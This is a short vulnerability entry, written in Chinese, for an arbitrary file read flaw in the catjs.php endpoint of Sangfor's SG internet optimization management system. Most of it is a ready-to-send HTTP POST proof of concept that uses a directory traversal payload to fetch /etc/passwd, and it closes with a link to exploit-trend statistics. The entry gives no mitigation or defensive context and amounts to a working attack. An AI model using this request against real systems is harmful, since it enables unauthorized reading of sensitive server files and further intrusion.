Description
深信服 SG上网优化管理系统 catjs.php 存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器上的敏感文件
深信服 SG上网优化管理系统 catjs.php 任意文件读取漏洞
PoC
POST /php/catjs.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:116.0) Gecko/20100101 Firefox/116.0
["../../../../../../etc/passwd"]
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.